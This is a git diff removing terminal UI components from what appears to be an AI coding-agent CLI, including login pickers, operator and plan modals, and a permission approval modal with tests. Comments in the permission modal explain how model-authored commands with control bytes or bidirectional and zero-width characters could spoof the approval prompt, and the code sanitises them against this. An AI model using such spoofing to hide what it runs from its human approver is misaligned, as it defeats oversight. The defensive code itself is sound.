`${hours}h ${minutes}m ${seconds}s`; -} - -// Single dim progress line for the session phase. Hidden entirely when idle -// with nothing to show — no permanent blank spacer eating chrome rows. -export function InFlightIndicator({ active, timingAnchor, label, toolName, workflow }: InFlightIndicatorProps): ReactNode { - const { frame, elapsedMs } = useInFlightVisuals(active, timingAnchor); - const workflowText = workflow !== undefined - ? `⟳ ${workflow.name} · ${workflow.stepIndex + 1}/${workflow.total} ${workflow.label}` - : undefined; - - if (!shouldShowProgressRow({ active, hasWorkflow: workflowText !== undefined })) { - return null; - } - - if (!active) { - return ( - - - {workflowText} - - - ); - } - const suffix = elapsedMs >= SLOW_THRESHOLD_MS ? ` ${formatElapsed(elapsedMs)}` : ""; - const displayLabel = resolveLabel(label); - const toolText = toolName === null || toolName === undefined ? "" : ` · ${toolName}`; - return ( - - {frame} - {` ${displayLabel}${toolText}${suffix}`} - {workflowText !== undefined ? ( - - {workflowText} - - ) : null} - - ); -} diff --git a/src/tui/components/login-provider-picker.tsx b/src/tui/components/login-provider-picker.tsx deleted file mode 100644 index 7c67cf334..000000000 --- a/src/tui/components/login-provider-picker.tsx +++ /dev/null @@ -1,80 +0,0 @@ -import { Box, Text, useInput } from "ink"; -import type { ReactNode } from "react"; -import { useState } from "react"; -import { color } from "../theme.js"; - -// The providers offered by the bare /login command. The picker routes into the -// existing per-provider login modal (CodexLoginModal), so each entry only needs -// enough to identify which provider the user picked. -export type LoginProvider = "codex" | "xai"; - -export type LoginProviderPickerProps = { - onSelect: (provider: LoginProvider) => void; - onClose: () => void; -}; - -const OPTIONS: Array<{ provider: LoginProvider; label: string; hint: string }> = [ - { provider: "codex", label: "OpenAI Codex", hint: "ChatGPT Plus/Pro subscription" }, - { provider: "xai", label: "xAI Grok", hint: "SuperGrok or X Premium+ subscription" }, -]; - -export function LoginProviderPicker({ onSelect, onClose }: LoginProviderPickerProps): ReactNode { - const [cursor, setCursor] = useState(0); - - useInput((input, key) => { - if (key.upArrow) { - setCursor((i) => (i > 0 ? i - 1 : OPTIONS.length - 1)); - return; - } - if (key.downArrow) { - setCursor((i) => (i < OPTIONS.length - 1 ? i + 1 : 0)); - return; - } - if (key.return) { - onSelect(OPTIONS[cursor]!.provider); - return; - } - if (key.escape) onClose(); - }); - - return ( - - - Sign in - - - Choose a provider to sign in with - - - {OPTIONS.map((opt, i) => { - const isCursor = i === cursor; - return ( - - - - {isCursor ? ">" : " "} - - - {opt.label} - - - - {" "} - {opt.hint} - - - ); - })} - - - Up/Down navigate · Enter select · Esc close - - - ); -} diff --git a/src/tui/components/mcp-auth-prompt.tsx b/src/tui/components/mcp-auth-prompt.tsx deleted file mode 100644 index 12af65ae7..000000000 --- a/src/tui/components/mcp-auth-prompt.tsx +++ /dev/null @@ -1,33 +0,0 @@ -import { Box, Text } from "ink"; -import type { ReactNode } from "react"; -import { color } from "../theme.js"; -import { osc8 } from "../util/clipboard.js"; - -export type McpAuthPromptProps = { - servers: Array<{ name: string; url: string }>; -}; - -// Surfaced when one or more MCP servers need OAuth authorization. The URL renders -// as an OSC 8 hyperlink (clickable in terminals that support it); pressing `c` -// copies it (handled by the keymap) for pasting into a separate browser. -export function McpAuthPrompt({ servers }: McpAuthPromptProps): ReactNode { - if (servers.length === 0) return null; - return ( - - - MCP authorization required - - {servers.map((s) => ( - - - {s.name} - — - {osc8(s.url, "open in browser")} - - {s.url} - - ))} - press Alt+C to copy URL - - ); -} diff --git a/src/tui/components/modal-stack.tsx b/src/tui/components/modal-stack.tsx deleted file mode 100644 index c7084df37..000000000 --- a/src/tui/components/modal-stack.tsx +++ /dev/null @@ -1,201 +0,0 @@ -import { Box, Text, useInput } from "ink"; -import type { ReactNode } from "react"; -import type { LifecycleHookStatus } from "../../session/hooks.js"; -import type { ApprovalOutcome } from "../../permission/types.js"; -import type { PlanStep } from "../use-stream.js"; -import type { ActiveApproval, QueuedApprovalSummary } from "../hooks/use-gates.js"; -import { HookPanel } from "./hook-panel.js"; -import { HelpOverlay } from "./help-overlay.js"; -import { AgentModal, toAgentProviders, type AgentProvider, type ProviderFormSubmission } from "./agent-modal.js"; -import type { ReasoningEffort } from "../../provider/reasoning-effort.js"; -import type { ProviderTier } from "../../config/settings.js"; -import type { AgentProfile } from "../../agent/profiles.js"; -import { OperatorModal } from "./operator-modal.js"; -import { color } from "../theme.js"; - -function ApprovalModal({ plan, onApprove, onReject }: { plan: PlanStep[]; onApprove: () => void; onReject: () => void }): ReactNode { - useInput((_input, key) => { - if (key.return) onApprove(); - if (key.escape) onReject(); - }); - return ( - - Plan Review - - {plan.map((step, i) => ( - {` ${step.file} ${step.action}`} - ))} - - - Enter to approve · Esc to reject - - - ); -} -import type { OperatorResult } from "../../agent/tools.js"; -import { PermissionModal } from "./permission-modal.js"; - -export type ModalStackProps = { - hooks: LifecycleHookStatus[]; - hookPanelOpen: boolean; - - helpOpen: boolean; - onCloseHelp: () => void; - - agentModalOpen: boolean; - agentProviders: AgentProvider[]; - activeProvider: string; - activeModel: string; - activeEffort: ReasoningEffort | undefined; - onAgentApply: (provider: string, model: string, effort: ReasoningEffort | undefined) => void; - onAgentPersistDefault: (provider: string, model: string, effort: ReasoningEffort | undefined) => void; - onAgentSaveProvider: (provider: ProviderFormSubmission) => { ok: true } | { ok: false; error: string }; - onAgentDeleteProvider: (provider: string) => void; - onCloseAgentModal: () => void; - agentTiers: Partial>; - onSaveTier: ( - tier: ProviderTier, - provider: string, - model: string, - effort?: import("../../provider/reasoning-effort.js").ReasoningEffort, - ) => void; - onCycleTierMode?: (tier: ProviderTier) => void; - onClearTier?: (tier: ProviderTier) => void; - onRemoveTierLeg?: (tier: ProviderTier, legIndex: number) => void; - onMoveTierLeg?: (tier: ProviderTier, legIndex: number, direction: -1 | 1) => void; - agentProfiles: AgentProfile[]; - onSaveAgentProfile: (profile: AgentProfile) => { ok: true } | { ok: false; error: string }; - onDeleteAgentProfile: (id: string) => void; - usage?: string | undefined; - /** Forwarded to AgentModal for live usage fetch on hover/select of codex/xai providers. */ - onRequestAgentUsage?: (kind: "codex" | "xai", profile: string, baseURL?: string) => void; - unauthedProviders?: ReadonlySet; - onRequestAgentLogin?: (kind: "codex" | "xai", profile: string) => void; - recentModels?: import("../../config/settings.js").ModelRef[]; - favoriteModels?: import("../../config/settings.js").ModelRef[]; - onToggleFavorite?: (ref: import("../../config/settings.js").ModelRef) => void; - - activeApproval: ActiveApproval | null; - onApprove: (id: number) => void; - onReject: (id: number) => void; - onSelectOperator: (id: number, result: OperatorResult) => void; - permissionQueueDepth?: number; - queuedApprovals?: readonly QueuedApprovalSummary[]; - onResolvePermission: (id: number, outcome: ApprovalOutcome) => void; - /** Terminal height, so approval bodies taller than it scroll instead of - * pushing the choices off screen. */ - terminalRows?: number; - - - width?: number; -}; - -export function ModalStack({ - hooks, - hookPanelOpen, - helpOpen, - onCloseHelp, - agentModalOpen, - agentProviders, - activeProvider, - activeModel, - activeEffort, - onAgentApply, - onAgentPersistDefault, - onAgentSaveProvider, - onAgentDeleteProvider, - onCloseAgentModal, - agentTiers, - onSaveTier, - onCycleTierMode, - onClearTier, - onRemoveTierLeg, - onMoveTierLeg, - agentProfiles, - onSaveAgentProfile, - onDeleteAgentProfile, - usage, - onRequestAgentUsage, - unauthedProviders, - onRequestAgentLogin, - recentModels, - favoriteModels, - onToggleFavorite, - activeApproval, - onApprove, - onReject, - onSelectOperator, - permissionQueueDepth, - queuedApprovals, - onResolvePermission, - width, - terminalRows, -}: ModalStackProps): ReactNode { - - return ( - <> - {hookPanelOpen ? : null} - {helpOpen && } - {agentModalOpen && ( - - )} - {activeApproval?.kind === "plan" && ( - onApprove(activeApproval.id)} - onReject={() => onReject(activeApproval.id)} - /> - )} - {activeApproval?.kind === "operator" && ( - onSelectOperator(activeApproval.id, result)} - {...(width !== undefined ? { width } : {})} - {...(terminalRows !== undefined ? { terminalRows } : {})} - /> - )} - {activeApproval?.kind === "permission" && ( - onResolvePermission(activeApproval.id, outcome)} - {...(width !== undefined ? { width } : {})} - /> - )} - - - ); -} diff --git a/src/tui/components/onboarding-animation.tsx b/src/tui/components/onboarding-animation.tsx deleted file mode 100644 index 304c61015..000000000 --- a/src/tui/components/onboarding-animation.tsx +++ /dev/null @@ -1,135 +0,0 @@ -import { Box, Text, useInput } from "ink"; -import type { ReactNode } from "react"; -import { useState, useEffect, useRef } from "react"; -import { color } from "../theme.js"; -import pkg from "../../../package.json" with { type: "json" }; -import { PRODUCT_NAME } from "../../branding.js"; - -export type OnboardingAnimationProps = { - onComplete: () => void; - rows: number; - columns: number; - isFirstTime: boolean; -}; - -const BRAND = PRODUCT_NAME; -const TAGLINE = "Your AI coding partner"; - -const TYPE_INTERVAL_MS = 65; -const TAGLINE_DELAY_MS = 300; -const HOLD_MS = 800; -const EXIT_MS = 700; - -type Phase = "typing" | "hold" | "exit"; - -export function OnboardingAnimation({ onComplete, rows, columns, isFirstTime }: OnboardingAnimationProps): ReactNode { - const prefix = isFirstTime ? "Welcome to " : "Welcome back to "; - const fullPhrase = `${prefix}${BRAND}`; - - const [phase, setPhase] = useState("typing"); - const [typed, setTyped] = useState(0); - const [taglineVisible, setTaglineVisible] = useState(false); - const [cursorVisible, setCursorVisible] = useState(true); - const completedRef = useRef(false); - - const complete = (): void => { - if (completedRef.current) return; - completedRef.current = true; - onComplete(); - }; - - // Any keypress dismisses the animation immediately. - useInput(() => complete()); - - // Blink cursor while typing - useEffect(() => { - if (phase !== "typing") return; - const interval = setInterval(() => setCursorVisible((v) => !v), 400); - return () => clearInterval(interval); - }, [phase]); - - // Typewriter: reveal one character at a time, then show tagline and hold - useEffect(() => { - if (phase !== "typing") return; - if (typed >= fullPhrase.length) { - const t1 = setTimeout(() => setTaglineVisible(true), TAGLINE_DELAY_MS); - const t2 = setTimeout(() => setPhase("hold"), TAGLINE_DELAY_MS + 600); - return () => { clearTimeout(t1); clearTimeout(t2); }; - } - const t = setTimeout(() => setTyped((c) => c + 1), TYPE_INTERVAL_MS); - return () => clearTimeout(t); - }, [phase, typed, fullPhrase.length]); - - // Hold the fully typed screen, then begin the exit slide - useEffect(() => { - if (phase !== "hold") return; - const t = setTimeout(() => setPhase("exit"), HOLD_MS); - return () => clearTimeout(t); - }, [phase]); - - // Exit: the screen slides away and the animation completes once it lands. - useEffect(() => { - if (phase !== "exit") return; - const t = setTimeout(complete, EXIT_MS); - return () => clearTimeout(t); - }, [phase]); - - // --- Exit phase: brand fades toward the bottom-right --- - if (phase === "exit") { - const brandWidth = BRAND.length; - const paddingLeft = Math.max(0, columns - brandWidth - 1); - const paddingTop = Math.max(0, rows - 1); - - return ( - - - - - {BRAND} - - - - - ); - } - - // --- Typing / hold phases: centered --- - const typedPrefix = fullPhrase.slice(0, Math.min(typed, prefix.length)); - const typedBrand = typed > prefix.length ? BRAND.slice(0, typed - prefix.length) : ""; - const showCursor = phase === "typing" && typed < fullPhrase.length && cursorVisible; - - const phraseWidth = fullPhrase.length; - const phraseLeft = Math.max(0, Math.floor((columns - phraseWidth) / 2)); - - const taglineLeft = Math.max(0, Math.floor((columns - TAGLINE.length) / 2)); - - const lineCount = taglineVisible ? 3 : 1; - const paddingTop = Math.max(0, Math.floor((rows - lineCount) / 2)); - - return ( - - - - - - {typedPrefix} - {typedBrand} - {showCursor && {"▋"}} - - - {taglineVisible && ( - - - {TAGLINE} - - - )} - - - - - {`v${pkg.version}`} - - - ); -} diff --git a/src/tui/components/operator-modal.tsx b/src/tui/components/operator-modal.tsx deleted file mode 100644 index 5eecef49d..000000000 --- a/src/tui/components/operator-modal.tsx +++ /dev/null @@ -1,313 +0,0 @@ -import { Box, Text, useInput } from "ink"; -import type { ReactNode } from "react"; -import { useState } from "react"; -import type { OperatorResult } from "../../agent/tools.js"; -import { createMemoizedParseMarkdown } from "../markdown-parser.js"; -import type { StyledSegment } from "../markdown-parser.js"; -import { color } from "../theme.js"; -import { inkPropsForSegment } from "../styled-segment-props.js"; -import { FALLBACK_TERMINAL_ROWS, useScrollWindow } from "../hooks/use-scroll-window.js"; - -export type OperatorModalProps = { - question: string; - options: string[]; - onSelect: (result: OperatorResult) => void; - width?: number; - /** Terminal height, so a long question or option list scrolls/pages instead - * of pushing the selection out of view. Defaults to a conservative fallback. */ - terminalRows?: number; -}; - -const MIN_QUESTION_ROWS = 2; -const MIN_OPTION_ROWS = 3; - -function segmentProps(seg: StyledSegment): Record { - return inkPropsForSegment(seg); -} - -// The question text is fixed for the modal's lifetime; only the draft input -// and selection change while it's open, so re-parsing it on every keystroke -// re-render is pure waste. A small bounded cache turns that into a cache hit. -const memoizedParseMarkdown = createMemoizedParseMarkdown(); - -function renderMarkdownLines(lines: readonly StyledSegment[][]): ReactNode { - return ( - - {lines.map((line, li) => ( - - {line.length === 0 ? " " : line.map((seg, si) => ( - {seg.text} - ))} - - ))} - - ); -} - -// Two-column layout when all options are short enough to fit side by side. -// Each column gets half the inner width minus a small gap for the number prefix. -function renderOptionsGrid(options: string[], selected: number, innerWidth: number): ReactNode { - const colWidth = Math.floor((innerWidth - 3) / 2); // 3 for " │ " separator - const rows: ReactNode[] = []; - - for (let i = 0; i < options.length; i += 2) { - const leftOpt = options[i]!; - const rightOpt = options[i + 1]; - const leftIdx = i; - const rightIdx = i + 1; - const leftActive = leftIdx === selected; - const rightActive = rightIdx === selected; - - rows.push( - - - - {leftActive ? "› " : " "} - {`${leftIdx + 1}. `} - {leftOpt} - - - {rightOpt !== undefined && ( - <> - │ - - - {rightActive ? "› " : " "} - {`${rightIdx + 1}. `} - {rightOpt} - - - - )} - , - ); - } - - return {rows}; -} - -// `startIndex` lets a windowed slice of `options` keep its true 1-based -// number and highlight against the real `selected` index, not its position -// within the slice. -function renderOptionsList(options: string[], selected: number, startIndex = 0): ReactNode { - return ( - - {options.map((opt, i) => { - const realIndex = startIndex + i; - const active = realIndex === selected; - return ( - - {active ? "› " : " "} - {`${realIndex + 1}. `} - {opt} - - ); - })} - - ); -} - -export function OperatorModal({ - question, - options, - onSelect, - width = 80, - terminalRows = FALLBACK_TERMINAL_ROWS, -}: OperatorModalProps): ReactNode { - const [selected, setSelected] = useState(0); - const [draft, setDraft] = useState(""); - const typing = draft.length > 0; - - // Available width for text inside the box: border(2) + paddingX(4) + marginX(2) - const innerWidth = Math.max(1, width - 8); - // Options fit side by side when each is shorter than half the inner width, minus prefix "1. › " (5 chars) - const colWidth = Math.floor((innerWidth - 3) / 2); - const maxOptLen = options.reduce((n, o) => Math.max(n, o.length), 0); - const useGrid = options.length >= 2 && options.length <= 4 && maxOptLen <= colWidth - 5; - - const questionLines = memoizedParseMarkdown(question, innerWidth); - const optionsRowsNeeded = useGrid ? Math.ceil(options.length / 2) : options.length; - // border(2) + paddingY(2) + marginBottom after the question(1) + marginTop - // before the footer(1) + footer line(1). - const reservedChrome = 7; - const baseAvailable = Math.max( - MIN_QUESTION_ROWS + MIN_OPTION_ROWS, - terminalRows - reservedChrome, - ); - - const layout = (available: number): { questionRows: number; optionsRows: number } => { - if (questionLines.length + optionsRowsNeeded <= available) { - return { questionRows: questionLines.length, optionsRows: optionsRowsNeeded }; - } - // The selection must stay reachable, so the option list gets priority; - // whatever's left goes to the question. - const optionsRows = Math.min( - optionsRowsNeeded, - Math.max(MIN_OPTION_ROWS, available - MIN_QUESTION_ROWS), - ); - const questionRows = Math.max(MIN_QUESTION_ROWS, available - optionsRows); - return { questionRows, optionsRows }; - }; - - let { questionRows, optionsRows } = layout(baseAvailable); - const questionScrollableTentative = questionLines.length > questionRows; - const optionsScrollableTentative = !useGrid && options.length > optionsRows; - const indicatorRows = - (questionScrollableTentative ? 1 : 0) + (optionsScrollableTentative ? 1 : 0); - if (indicatorRows > 0) { - ({ questionRows, optionsRows } = layout(baseAvailable - indicatorRows)); - } - - const questionScrollable = questionLines.length > questionRows; - const questionScroll = useScrollWindow(questionLines.length, questionRows); - const clampedQuestionOffset = questionScroll.offset; - const visibleQuestionLines = questionScrollable - ? questionLines.slice(clampedQuestionOffset, clampedQuestionOffset + questionRows) - : questionLines; - const questionLinesAbove = questionScroll.above; - const questionLinesBelow = questionScroll.below; - - // Only the plain list windows around the selection — grid mode is capped at - // 4 options (2 rows), which always fits. - const optionsScrollable = !useGrid && options.length > optionsRows; - let optionsWindowStart = 0; - if (optionsScrollable) { - optionsWindowStart = Math.max( - 0, - Math.min(selected - Math.floor(optionsRows / 2), options.length - optionsRows), - ); - } - const visibleOptions = optionsScrollable - ? options.slice(optionsWindowStart, optionsWindowStart + optionsRows) - : options; - const optionsAbove = optionsWindowStart; - const optionsBelow = optionsScrollable - ? options.length - optionsWindowStart - visibleOptions.length - : 0; - - useInput((input, key) => { - if (typing) { - if (key.escape) { - setDraft(""); - return; - } - if (key.return) { - const text = draft.trim(); - if (text.length > 0) onSelect({ kind: "custom", text }); - return; - } - if (key.backspace || key.delete) { - setDraft((d) => d.slice(0, -1)); - return; - } - // Page keys still scroll a long question while the operator is typing a - // custom answer — the draft is unrelated to the question viewport. - if (questionScrollable && key.pageUp) { - questionScroll.pageUp(); - return; - } - if (questionScrollable && key.pageDown) { - questionScroll.pageDown(); - return; - } - if (!key.ctrl && !key.meta && input.length > 0 && /^[\x20-\x7E -￿]+$/.test(input)) { - setDraft((d) => d + input); - } - return; - } - - if (key.escape || (key.ctrl && input === "c")) { - onSelect({ kind: "cancel" }); - return; - } - if (questionScrollable && key.pageUp) { - questionScroll.pageUp(); - return; - } - if (questionScrollable && key.pageDown) { - questionScroll.pageDown(); - return; - } - if (key.ctrl && (key.upArrow || key.downArrow)) return; - if (key.upArrow || input === "\x1B[A" || input === "[A") { - setSelected((s) => (s > 0 ? s - 1 : options.length - 1)); - return; - } - if (key.downArrow || input === "\x1B[B" || input === "[B") { - setSelected((s) => (s < options.length - 1 ? s + 1 : 0)); - return; - } - if (key.return) { - onSelect({ kind: "option", index: selected }); - return; - } - if (/^[1-9]$/.test(input)) { - const index = Number(input) - 1; - if (index < options.length) { - onSelect({ kind: "option", index }); - return; - } - } - // Any printable char starts a custom response - if (input && !key.ctrl && !key.meta && /^[\x20-\x7E -￿]+$/.test(input)) { - setDraft(input); - } - }); - - return ( - - - {renderMarkdownLines(visibleQuestionLines)} - {questionScrollable && ( - - {questionLinesAbove > 0 ? `↑ ${questionLinesAbove} more above` : ""} - {questionLinesAbove > 0 && questionLinesBelow > 0 ? " · " : ""} - {questionLinesBelow > 0 ? `↓ ${questionLinesBelow} more below` : ""} - {" · PageUp/PageDown to scroll"} - - )} - - {typing ? ( - - {/* gap only between › and value — never between value and caret */} - - › - - {draft} - ▌ - - - - Enter to confirm · Esc to cancel - - - ) : ( - - {useGrid - ? renderOptionsGrid(options, selected, innerWidth) - : renderOptionsList(visibleOptions, selected, optionsWindowStart)} - {optionsScrollable && (optionsAbove > 0 || optionsBelow > 0) && ( - - {optionsAbove > 0 ? `↑ ${optionsAbove} more above` : ""} - {optionsAbove > 0 && optionsBelow > 0 ? " · " : ""} - {optionsBelow > 0 ? `↓ ${optionsBelow} more below` : ""} - - )} - - - {`1-${options.length} select · ↑↓ navigate · Enter choose · type to respond · Esc dismiss`} - - - - )} - - ); -} diff --git a/src/tui/components/overlay-stack.tsx b/src/tui/components/overlay-stack.tsx deleted file mode 100644 index 24cb95f63..000000000 --- a/src/tui/components/overlay-stack.tsx +++ /dev/null @@ -1,121 +0,0 @@ -import type { ReactNode } from "react"; -import { PermissionsManager } from "./permissions-manager.js"; -import { SettingsOverlay, type CompactionMode } from "./settings-overlay.js"; -import { PluginsManager, type PluginsAdmin } from "./plugins-manager.js"; -import { CodexLoginModal } from "./codex-login-modal.js"; -import type { ScopedApproval } from "../../permission/admin.js"; -import type { LoginModal } from "../hooks/use-provider-auth.js"; -import { startCodexLogin } from "../../auth/codex/login.js"; -import { startXaiLogin } from "../../auth/xai/login.js"; - -export type OverlayStackProps = { - permissionsOpen: boolean; - permissionEntries: ScopedApproval[]; - onRevokePermission: (entry: ScopedApproval) => void; - onClosePermissions: () => void; - permissionsOverlayRows: number; - - settingsOpen: boolean; - compactionMode: CompactionMode; - onChangeCompactionMode: (mode: CompactionMode) => void; - maxConcurrentSubAgents: number; - onChangeMaxConcurrentSubAgents: (limit: number) => void; - sessionMode: import("../../config/session-mode.js").SessionMode; - savedGlobalSessionMode?: import("../../config/session-mode.js").SessionMode; - savedLocalSessionMode?: import("../../config/session-mode.js").SessionMode; - onChangeSessionMode: ( - mode: import("../../config/session-mode.js").SessionMode, - scope: "global" | "local", - ) => void; - telemetryEnabled: boolean; - onChangeTelemetryEnabled: (enabled: boolean) => void; - waitForApproval: boolean; - onChangeWaitForApproval: (value: boolean) => void; - onCloseSettings: () => void; - - pluginsOpen: boolean; - pluginsAdmin: PluginsAdmin | undefined; - onClosePlugins: () => void; - cwd: string; - - loginModal: LoginModal; - onCloseLoginModal: () => void; - xaiProfileNames: string[]; - codexProfileNames: string[]; - activeProvider: string; - autoLoginProfile: string | undefined; - switchToXaiProfile: (profile: string) => void; - switchToCodexProfile: (profile: string) => void; - removeXaiProfileEverywhere: (profile: string) => void; - removeCodexProfileEverywhere: (profile: string) => void; -}; - -/** Renders the overlays that sit outside the modal-stack's own accounting: - * permissions manager, settings, plugins manager, and the login flow modals. */ -export function OverlayStack(props: OverlayStackProps): ReactNode { - return ( - <> - {props.permissionsOpen && ( - - )} - {props.settingsOpen && ( - - )} - {props.pluginsOpen && props.pluginsAdmin !== undefined && ( - - )} - {(props.loginModal === "codex" || props.loginModal === "xai") && ( - { - const controller = new AbortController(); - const start = props.loginModal === "xai" ? startXaiLogin : startCodexLogin; - return start({ profile: name, signal: controller.signal }).then((handle) => ({ - authorizeUrl: handle.authorizeUrl, - completed: handle.completed, - cancel: () => { - controller.abort(); - handle.cancel(); - }, - })); - }} - autoLoginProfile={props.autoLoginProfile} - onSwitchProfile={props.loginModal === "xai" ? props.switchToXaiProfile : props.switchToCodexProfile} - onRemoveProfile={props.loginModal === "xai" ? props.removeXaiProfileEverywhere : props.removeCodexProfileEverywhere} - onClose={props.onCloseLoginModal} - /> - )} - - ); -} diff --git a/src/tui/components/permission-modal.test.ts b/src/tui/components/permission-modal.test.ts deleted file mode 100644 index 84913036c..000000000 --- a/src/tui/components/permission-modal.test.ts +++ /dev/null @@ -1,66 +0,0 @@ -import { describe, expect, test } from "bun:test"; -import { createElement } from "react"; -import { render } from "ink-testing-library"; -import type { PermissionRequest } from "../../permission/types.js"; -import { PermissionModal } from "./permission-modal.js"; - -function longChainRequest(segmentCount: number): PermissionRequest { - const subject = Array.from({ length: segmentCount }, (_, i) => `echo line-${i}`).join(" && "); - return { tool: "run_shell", action: "Run", subject, scopes: [] }; -} - -describe("PermissionModal scroll indicator", () => { - test("shows a 'more below' indicator when the body overflows and is scrolled to the top", () => { - const { lastFrame, unmount } = render( - createElement(PermissionModal, { - request: longChainRequest(30), - onResolve: () => {}, - terminalRows: 15, - }), - ); - - const frame = lastFrame() ?? ""; - expect(frame).toContain("more below"); - expect(frame).not.toContain("more above"); - - unmount(); - }); - - test("swaps to a 'more above' indicator, with no 'more below', once scrolled to the end", async () => { - const { lastFrame, stdin, unmount } = render( - createElement(PermissionModal, { - request: longChainRequest(30), - onResolve: () => {}, - terminalRows: 15, - }), - ); - - // Page down repeatedly past the end of the body; offset clamps at max. - for (let i = 0; i < 10; i++) { - stdin.write("\x1b[6~"); - await new Promise((r) => setTimeout(r, 0)); - } - - const frame = lastFrame() ?? ""; - expect(frame).toContain("more above"); - expect(frame).not.toContain("more below"); - - unmount(); - }); - - test("shows no scroll indicator when the body fits without overflow", () => { - const { lastFrame, unmount } = render( - createElement(PermissionModal, { - request: longChainRequest(2), - onResolve: () => {}, - terminalRows: 40, - }), - ); - - const frame = lastFrame() ?? ""; - expect(frame).not.toContain("more below"); - expect(frame).not.toContain("more above"); - - unmount(); - }); -}); diff --git a/src/tui/components/permission-modal.tsx b/src/tui/components/permission-modal.tsx deleted file mode 100644 index 78283e3bc..000000000 --- a/src/tui/components/permission-modal.tsx +++ /dev/null @@ -1,626 +0,0 @@ -import { Box, Text, useInput } from "ink"; -import type { ReactNode } from "react"; -import { Fragment, useState } from "react"; -import type { ApprovalOutcome, ApprovalScope, GrantScope, PermissionRequest } from "../../permission/types.js"; -import { color } from "../theme.js"; -import { describeToolCall } from "../tool-formatter.js"; -import { stripTerminalControlSequences } from "../../util/control-char-strip.js"; -import { isShellCommentOnly } from "../../permission/command.js"; -import { collapseSegmentPayloads, groupChainSegmentsForDisplay, middleEllipsis } from "../command-display.js"; -import type { QueuedApprovalSummary } from "../hooks/use-gates.js"; -import { FALLBACK_TERMINAL_ROWS, useScrollWindow } from "../hooks/use-scroll-window.js"; - -// Bidi controls (RLO, embeddings, isolates) visually reorder the rendered -// command — Trojan Source — and zero-width characters hide payload boundaries, -// so a spoofed command can read as harmless in a security prompt. -const BIDI_AND_ZERO_WIDTH = /[\u200B-\u200F\u202A-\u202E\u2060-\u2064\u2066-\u2069\uFEFF]/g; - -// Display-only caps: a model-authored command can be arbitrarily long or have -// thousands of chain segments, which would push the Reject/Accept choices off -// screen (and stall layout). The executed and persisted command is never -// touched — only what the modal draws. -const MAX_RENDERED_SEGMENTS = 12; -const MAX_RENDERED_LINES = 12; -const MAX_DISPLAY_LINE_LENGTH = 240; - -function clampForDisplay(text: string): string { - return text.length > MAX_DISPLAY_LINE_LENGTH - ? `${text.slice(0, MAX_DISPLAY_LINE_LENGTH)} … truncated` - : text; -} - -// The approval subject is model-authored. Raw control bytes (\r, cursor moves, -// line erases) could repaint the modal into showing a different command than -// the one that will run, so strip them and render any surviving line break as -// a visible marker instead of a real terminal line. -function sanitizeForPrompt(text: string): string { - return stripTerminalControlSequences(text) - .replace(BIDI_AND_ZERO_WIDTH, "") - .replace(/\r\n|\r|\n/g, "↵"); -} - -// Hints (and, more rarely, labels) for persistent Allow options share a long -// command prefix and differ only in a trailing grant note or pattern -// suffix — tail-truncation clips exactly the part that distinguishes them. -// Middle-ellipsis keeps both ends visible instead. -const CHOICE_TEXT_MAX = 64; - -function truncateChoiceText(text: string, width: number): string { - const budget = Math.max(20, Math.min(CHOICE_TEXT_MAX, width - 24)); - return middleEllipsis(text, budget); -} - -// Deterministic color per agent label so queued approvals from different -// sub-agents read as visually distinct without a shared color registry. -const AGENT_TAG_ROLES = ["accent", "success", "warning", "syntaxKeyword", "syntaxFunction", "syntaxType"] as const; - -function agentTagColor(label: string): string { - let hash = 0; - for (let i = 0; i < label.length; i++) hash = (hash * 31 + label.charCodeAt(i)) >>> 0; - return color(AGENT_TAG_ROLES[hash % AGENT_TAG_ROLES.length]!); -} - -// Dispatch labels and worktree paths are model- or environment-authored and -// sit next to the approval chrome — strip the same bidi/control sequences the -// command subject gets, then clamp so a long label cannot shove choices off -// screen. -const MAX_AGENT_LABEL_LENGTH = 48; -const MAX_AGENT_CWD_LENGTH = 64; - -function displayAgentLabel(label: string): string { - const cleaned = sanitizeForPrompt(label); - return cleaned.length > MAX_AGENT_LABEL_LENGTH - ? `${cleaned.slice(0, MAX_AGENT_LABEL_LENGTH - 1)}…` - : cleaned; -} - -function displayAgentCwd(cwd: string): string { - const cleaned = sanitizeForPrompt(cwd); - if (cleaned.length <= MAX_AGENT_CWD_LENGTH) return cleaned; - return `…${cleaned.slice(-(MAX_AGENT_CWD_LENGTH - 1))}`; -} - -const MAX_RENDERED_QUEUE_ENTRIES = 5; - -// A body window shorter than this reads as broken (no room to show anything -// meaningful plus its scroll indicators), so it is the floor regardless of -// how little the terminal reports. -const MIN_BODY_ROWS = 3; - -export type PermissionModalProps = { - request: PermissionRequest; - /** Permission gates still queued, including this modal. */ - permissionQueueDepth?: number; - /** Summary of every queued permission request, for the "queued behind" list. */ - queuedApprovals?: readonly QueuedApprovalSummary[]; - /** - * When set (goal mode), show that the request auto-skips after this many ms - * if the operator does not answer. - */ - goalTimeoutMs?: number | null; - onResolve: (outcome: ApprovalOutcome) => void; - width?: number; - /** Terminal height, so a request body taller than it scrolls instead of - * pushing the choices off screen. Defaults to a conservative fallback. */ - terminalRows?: number; -}; - - -// `command` choices show their hint in [] with dim styling (shell patterns/paths). -// `note` choices show their hint in () with muted styling. -// `messageable` choices activate inline message input when the user starts typing. -type Choice = { - label: string; - hint: string; - hintStyle: "command" | "note"; - messageable: boolean; - outcome: ApprovalOutcome; -}; - -const PERSISTENT_GRANTS: { grant: GrantScope; note: string }[] = [ - { grant: "session", note: "this session" }, - { grant: "project", note: "persisted per repo" }, - { grant: "global", note: "all projects" }, -]; - -// When every segment of a multi-command chain shares the same leading word -// (e.g. all "git"), name the family after it; otherwise fall back to "shell" -// rather than guessing. Display only — never affects what gets granted. -function commandFamilyLabel(segments: readonly string[]): string { - const firstWords = segments.map((s) => s.trim().split(/\s+/)[0] ?? ""); - const first = firstWords[0]; - const allSame = first !== undefined && first.length > 0 && firstWords.every((w) => w === first); - return allSame ? first : "shell"; -} - -// The single concise noun phrase an "Allow" option grants — a backtick-quoted -// pattern for a single command, or "these N commands" for a -// multi-segment chain grant. Never a duplicated ellipsized command mash. -function grantSubject(request: PermissionRequest, hint: string): string { - if (request.tool !== "run_shell") return `\`${hint}\``; - const segments = groupChainSegmentsForDisplay(request.subject).filter( - (s) => !isShellCommentOnly(s), - ); - if (segments.length <= 1) return `\`${hint}\``; - const family = commandFamilyLabel(segments); - return `these ${segments.length} ${family} commands`; -} - -function buildChoices(request: PermissionRequest): Choice[] { - const choices: Choice[] = [ - { - label: "Reject", - hint: "start typing to add a message", - hintStyle: "note", - messageable: true, - outcome: { allow: false }, - }, - { - label: "Accept once", - hint: "this call only · start typing to add a message", - hintStyle: "note", - messageable: true, - outcome: { allow: true }, - }, - ]; 